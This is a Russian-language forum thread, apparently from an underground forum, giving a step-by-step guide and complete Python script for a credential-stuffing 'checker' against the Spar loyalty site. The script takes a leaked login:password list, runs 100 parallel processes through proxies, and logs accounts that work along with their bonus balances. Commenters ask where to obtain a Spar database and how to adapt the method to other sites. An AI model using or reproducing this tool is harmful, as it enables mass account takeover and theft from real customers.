Загрузка...
How to write your own checker, complete guide
May 31, 2020
AIexa
68,095
221
  1. AIexa
    AIexa Topic starter May 31, 2020 Лучший софт - lolz.live/threads/1634798/ :+rep: 12,357 Mar 24, 2020
    В этой статье рассказывается и показывается как написать свой чекер, что для этого нужно и откуда это достать

    Для
    начала работы нам понадобится


    1)Python последней версии (необязательно, но лучше всегда качать свежую версию), прямая ссылка на скачивание последней версии
    https://www.python.org/ftp/python/3.8.3/python-3.8.3.exe
    2)Если вы захотите на примере это статьи писать свой чекер на другой сайт, нужный вам, тогда вам понадобится среда разработки,
    для питона, лучшей и самой (как по мне) средой является Pycharm скачать вы его можете с официального сайта JetBrains
    https://www.jetbrains.com/ru-ru/pycharm/download/download-thanks.html?platform=windows&code=PCC

    Я буду показывать как написать чекер на примере сайта спара, на нем нету капчи и он не банит за спам


    Первым делом нам нужен валидный аккаунт на сайте спара
    идем на сайт вводим логин пароль и теперь самое интересное. Отрываем консоль с помощью кнопки f12,
    переходим на вкладку networks, и теперь жмем Войти, теперь в куче запросов ищем что то похожее на login/ auth/ и что то,
    что похоже на запрос к скрипту авторизации, внизу мы должны увидеть наш пост запрос такого вида
    [IMG]
    AUTH_FORM: Y
    TYPE: AUTH
    backurl: /local/ajax/user/auth/
    USER_LOGIN: 899999999
    username: 899999999
    USER_PASSWORD: password123
    USER_REMEMBER: Y
    Login: Y


    жмем на кнопку view source и копируем строчку
    AUTH_FORM=Y&TYPE=AUTH&backurl=%2Flocal%2Fajax%2Fuser%2Fauth%2F&USER_LOGIN=899999999&username=899999999&USER_PASSWORD=password123&USER_REMEMBER=Y&Login=Y

    Пока что не выходим, теперь смотрим на страницу нашего профиля, мы тут видим имя и количество бонусов на карте
    [IMG]

    открываем в консоли html и копируем строчку с бонусами
    [IMG]
    <span class="header-control__text-desc">8 бонусов</span>

    Теперь мы можем идти в Pycharm и начинать писать код
    Запускаем среду и жмем Create new project

    [IMG]

    После прогрузки и создания проекта переходим в File -> Setting -> Project Iterpreter

    [IMG]

    Жмем плюсик с правой стороны окна и ****аем в поиск requests, там на автомате у вас выберется нужная библиотека, жмете install package

    [IMG]

    Теперь жмем на папку слева правой кнопкой мыши new -> python file -> выбираете имя вашего файла и создаете его

    [IMG]

    Первое что нам нужно сделать импортировать нужные библиотеки для работы

    Python
    import requests
    from multiprocessing import Process, Queue, Value
    Первая билиотека нам нужна для создания запросов к сайту и приему от него ответов
    Вторая библиотека нужна для потоков

    Начинаем писать скрипт

    Python
    if __name__ == "__main__":
    count = 100 #Количество потоков
    queue = Queue() #очередь откуда будут браться данные для наших потоков

    Так как у вас скорее всего будет база аккаунтов то я покажу как доставать аккаунты из этой базы

    with open("baza.txt", "r", encoding="utf-8") as fileToCHeck:
    for line in fileToCHeck.readlines():
    queue.put(line)
    print(line+"\r")
    fileToCHeck.close()

    Теперь в нашу очередь загружены наши строки
    Запускаем наши потоки

    Python
     for i in range(0, count):
    proc = Process(target=checkValid, args=(queue,))
    proc.start()
    queue.close() #Закрываем очередь
    Теперь напишем функцию чека для наших потоков

    Python
    def checkValid(queue):
    while(queue.empty() == False):
    try:
    line = queue.get()[:-1]
    logPass = []
    if ':' in line:
    logPass = line.split(':')
    if ';' in line:
    logPass = line.split(';')

    user_login = logPass[0]
    user_pass = logPass[1]
    data = {'AUTH_FORM': 'Y', 'TYPE': 'AUTH', 'backurl': '/personal/', "USER_LOGIN": user_login, #Вот и наш post запрос
    'username': user_login,
    'USER_PASSWORD': user_pass, 'USER_REMEMBER': 'Y', 'Login': 'Y'}
    s = requests.Session()
    s.get("https://myspar.ru/personal/")
    resp = s.post("https://myspar.ru/personal/?login=yes", data=data)
    try:
    bonuses = re.search('<span class="header-control__text-desc">.*</span>', resp.text)
    bonuses = re.search(">.*<", bonuses.group(0))
    bonuses = bonuses.group(0)
    file = open("checked.txt", "a")
    file.write("Phone: " + str(user_login) + "\nPassword: " + str(user_pass) + "\nBonuses: " + str(
    bonuses[1:-1] + "\n\n\n"))
    file.close()
    s.close()
    except:
    continue
    except:
    continue
    Что мы здесь делаем.
    1) Передаем в фунцию нашу очередь со строками
    2)Разбиваем строку и вырезаем символ переноса строки "\n"
    Python
            line = queue.get()[:-1]
    logPass = []
    if ':' in line:
    logPass = line.split(':')
    if ';' in line:
    logPass = line.split(';')
    3) Формируем post запрос на основе запроса из начала и вставляем туда наши варьирующиеся значения, в данном случае это номер телефона и пароль
    4)Создаем сессию, которая на автомате будет принимать, сохранять и передавать между страницами куки,
    Переходим сначала на главную страницу спара, чтобы получить первоначальные куки, чтобы показать что мы обычный пользователь, иначе 90% сайтов
    не дадут залогинится
    5)Теперь делаем post запрос к скрипту логина и передаем туда наши данные
    6)Сервер выдал нам html страницу, парсим ее на предмет строки с бонусами, если они нашлись, то значит аккаунт валид и мы записываем инфу с него
    в текстовик
    7)Закрываем файл, закрываем соединение и начинаем цикл сначала с новой строкой

    Как только очередь опустеет потоки поочередно закончат свою работу

    Если вы хотите использовать ****** в своем чекере, тогда возьмите пачку проксей, прочитайте их точно также из текстовика как и строки с лог:пассом
    и передавайте их потокам
    Python
        myProxies = {"https://223.241.2.199:4216"}
    s.get("https://myspar.ru/personal/", proxies=myProxies)
    resp = s.post("https://myspar.ru/personal/?login=yes", data=data,proxies=myProxies)

    На выходе, если у вас были валидные аккаунты то в текстовом файле вы увидите это:

    Phone: 8999999999
    Password: password123
    Bonuses: 233 бонуса

    Для ленивых
    Python
    import requests
    from multiprocessing import Process, Queue, Value
    import re
    import sys




    def checkValid(queue):
    while(queue.empty() == False):
    try:
    line = queue.get()[:-1]
    if ':' in line:
    c = line.split(':')
    if ';' in line:
    c = line.split(';')

    user_login = c[0]
    user_pass = c[1]
    data = {'AUTH_FORM': 'Y', 'TYPE': 'AUTH', 'backurl': '/personal/', "USER_LOGIN": user_login,
    'username': user_login,
    'USER_PASSWORD': user_pass, 'USER_REMEMBER': 'Y', 'Login': 'Y'}
    s = requests.Session()
    s.get("https://myspar.ru/personal/")
    resp = s.post("https://myspar.ru/personal/?login=yes", data=data)
    try:
    bonuses = re.search('<span class="header-control__text-desc">.*</span>', resp.text)
    bonuses = re.search(">.*<", bonuses.group(0))
    bonuses = bonuses.group(0)
    file = open("checked.txt", "a")
    file.write("Phone: " + str(user_login) + "\nPassword: " + str(user_pass) + "\nBonuses: " + str(
    bonuses[1:-1] + "\n\n\n"))
    file.close()
    s.close()
    except:
    s.close()
    continue
    except:
    continue

    def createProc(queue, count):
    for i in range(0, count):
    proc = Process(target=checkValid, args=(queue,))
    proc.start()
    queue.close()

    if __name__ == "__main__":
    count = 100
    queue = Queue()
    with open("baza.txt", "r", encoding="utf-8") as fileToCHeck:
    for line in fileToCHeck.readlines():
    queue.put(line)
    print(line+"\r")
    fileToCHeck.close()
    createProc(queue, count)
    print("Запускается", count," потоков")

    #МояСтатья
     
    This article was useful for you?
    You can thank the author of the topic by transferring funds to your balance
    Thank the author
    1. UMBRELLA_CORP
      AIexa, Ништяк - красавчик :sigma:

Comments

    1. justcr4zys
      justcr4zys May 28, 2022 0 May 10, 2020
      зачем писать гайд по питону, если даже не знаешь, как это рабоатает и не называешь вещи своими именами...
       
    2. orlov1
      orlov1 Jun 5, 2022 64 Feb 24, 2017
      Должно работать, но тема старая. На большинстве сайтов работать не будет.
       
    3. Sosisken
      Sosisken Jun 12, 2022 Скамеры суки. 1085 Nov 6, 2016
      Прочитав код автора вспоминаю как сам кодил говно сколько-то лет назад. Пустые импорты, отсутсвие потокозащищенных счетчиков, потокозащищенной записи в файл, ротации ******, использование +++++ вместо fstring — это все мое, родное. Если без шуток, то дети, не пишите ****ы так. То, что за это "творение" дали авторку удивляет. Я уверен, что за прошедшие годы автор набрался опыта и было бы интересно увидеть ремейк статьи (ну или может сам напишу, пишите если интересно)
       
      1. Sosisken
        Sosisken, еще раз глянул в код и увидел свои любимые except:continue, это просто шедеврально
      2. AIexa Topic starter
        Sosisken, да, тоже ахуеваю смотрю. Но статья неплохая. 2 года ей. Именно, делание самого чекера описывается вполне себе норм. Считай код тут просто как пример сделанный на отьебись (тогда это делалось не на отьебись конечно, но щас это можно воспринимать в основном в таком контексте)
    4. AIexa
      AIexa Topic starter Jun 13, 2022 Лучший софт - lolz.live/threads/1634798/ :+rep: 12,357 Mar 24, 2020
      [IMG]
      Для всех последующих комментаторов, хочу сделать помарку на первой же линии. Суть статьи в показе того, как делается чекер и как происходит весь процесс. А не

      Делаем чекер спара
      Код для чекера спара
      Ахуенный код для чека спара
      Скопипасть и сиди чекай спар

      И писать мне по этому поводу не нужно. Ваш спар давно стал помойкой и активно банит все и вся. На момент написания, не было ни капч, нихуя. Ток 10-минутные баны айпишника

      Если вам нужны готовые рабочие (мб уже несовсем) примеры, есть статья пожирнее
      https://zelenka.guru/threads/2450651/
       
      1. tsukauch1
    5. VkOksi
      VkOksi Aug 12, 2022 Banned 2405 Aug 10, 2022
      Подробно же написал
       
    6. VkOksi
      VkOksi Aug 14, 2022 Banned 2405 Aug 10, 2022
      И где это работает
       
    7. pasyaa
      pasyaa Sep 12, 2022 0 Sep 12, 2022
      Реал помог,харош
       
    8. Sima_inactive4909784
      Где взять базу данных Спара?
       
    9. renameduser_6276314
      renameduser_6276314 Dec 23, 2022 Если ты видишь этот статус, у тебя будет много$ 724 Dec 14, 2022
      Спасибо, нашел полезную статью в этом разделе, что-то он сегодня какой-то заспамленный. А твоя статья реально полезная, пойду юзать
       
    10. fullix
      fullix Jan 4, 2023 xd 3909 Jan 15, 2021
      Годный гайд! Всё ворк, спс:newyear7:
       
    11. U_so_lucky
      Редко пишу коменты, но данная тема имба
       
    12. zapot
      zapot Jan 31, 2023 0 Apr 20, 2022
      крутой гайд, только вот подойдет под изичные сервисыв=
       
    13. DiamondXIII
      DiamondXIII Mar 21, 2023 221 Jan 5, 2022
      Годная статья! Благодарю за подробности
       
    14. Alayskiy
      Alayskiy Jul 18, 2023 0 Oct 7, 2021
      Никогда не понял смысла покупать чекеры, эти же программы работают очень просто)
       
      1. BigBrainsClub
      2. Alayskiy
    15. L33T
      L33T Jul 25, 2023 5P34K 510 May 2, 2023
      Адаптировать под любой сайт возможно, все зависит от их аутентификации и антибот системы
       
    16. PylaAK
      PylaAK Aug 9, 2023 0 Aug 9, 2023
      Очень интересно но не чего не понятно, я имею ввиду я що я баран
       
    17. AvengeRoff
      Блин, ну это совсем для каких-то уников, тяжело)) :pepepizza:
       
    18. eralash
      eralash Oct 1, 2023 1221 Sep 16, 2023
    19. Domovoy
      время обновлять статью, жду объяснений приколдесов Csrf токенов как у спотифай)
       
    20. ФРУТС
      ФРУТС Oct 23, 2023 <3 jenna ortega E> 544 Feb 7, 2023
      Разве нельзя по апи распарсить?)
       
Top
Loading...